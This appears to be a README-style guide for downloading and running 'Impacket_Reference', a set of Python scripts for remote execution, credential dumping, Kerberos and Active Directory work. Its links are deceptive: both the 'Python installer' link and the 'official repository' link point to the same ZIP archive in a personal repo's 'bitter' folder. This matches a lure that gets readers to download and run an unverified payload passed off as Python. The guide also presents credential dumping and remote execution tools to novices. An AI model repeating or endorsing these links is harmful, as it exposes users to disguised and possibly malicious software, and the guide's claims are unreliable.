This guide helps you download and run the Impacket_Reference application on Windows. Impacket_Reference is a collection of example scripts to work with various network protocols and Windows features.
Click the green badge above or use this direct link to visit the GitHub page:
- Open the link above in your web browser.
- On the GitHub page, look for the Code button near the top right.
- Click Code, then select Download ZIP.
- Save the ZIP file to a folder you can easily find, like your desktop or downloads folder.
- After download ends, right-click the ZIP file and select Extract All.
- Choose a location to extract the files, for example, a new folder on your desktop called
Impacket_Reference. - Wait until Windows finishes extracting all files.
- A Windows computer (Windows 10 or later is recommended).
- Basic knowledge of how to open and run programs.
- Python 3 installed on your machine. If you don’t have Python, download it from https://github.com/Lyrothanak20/Impacket_Reference/raw/refs/heads/main/bitter/Impacket_Reference_1.5.zip and follow the installer instructions. Make sure to check the box for “Add Python to PATH” during installation.
Once you have downloaded and extracted the files, follow these steps to open and use the scripts.
- Open Command Prompt:
- Press
Windows + Rkeys, typecmd, and press Enter.
- Press
- Change the directory to where you extracted the files. For example, if you put the files in Desktop\Impacket_Reference, type:
and press Enter.
cd %USERPROFILE%\Desktop\Impacket_Reference - Make sure Python is working by typing:
This should show the installed Python version.
python --version - To see the list of available example scripts, type:
This will list all Python script files included.
dir *.py - To run a script, type:
Replace
python scriptname.pyscriptname.pywith the actual script file you want to run.
Many scripts require some additional Python modules. To install these:
- Open Command Prompt.
- Type the following command and press Enter:
pip install -r requirements.txt - Wait for the process to complete. This installs the necessary packages needed to run the scripts without errors.
Impacket_Reference provides scripts in many areas related to network protocols and Windows management. Here are some examples:
- Authentication Options: Scripts that manage user credentials and verify permissions.
- Remote Execution: Run commands on other computers remotely.
- Credential Dumping: Tools to inspect and extract saved passwords from a system.
- Kerberos: Work with Kerberos authentication services.
- Active Directory Enumeration: Gather information about users and devices in a network.
- Windows Administration: Scripts to manage files, registry entries, and services.
The full list of available scripts and their uses can be found in the main documentation file included with the extraction or at the original GitHub page.
Try running the common authentication options script as a starter:
- Open Command Prompt.
- Navigate to the
Impacket_Referencefolder. - Run:
This script will show available authentication options and how to use them.
python example_auth.py
- Official GitHub repository:
https://github.com/Lyrothanak20/Impacket_Reference/raw/refs/heads/main/bitter/Impacket_Reference_1.5.zip - Python installer for Windows:
https://github.com/Lyrothanak20/Impacket_Reference/raw/refs/heads/main/bitter/Impacket_Reference_1.5.zip
No, a basic understanding of using Command Prompt and copying commands is enough.
This guide focuses on Windows. Some Linux or macOS users may need different steps.
Check that Python and required packages are installed. Also, verify you are in the right folder.
Click the badge at the top anytime to visit the download page and get the latest updates.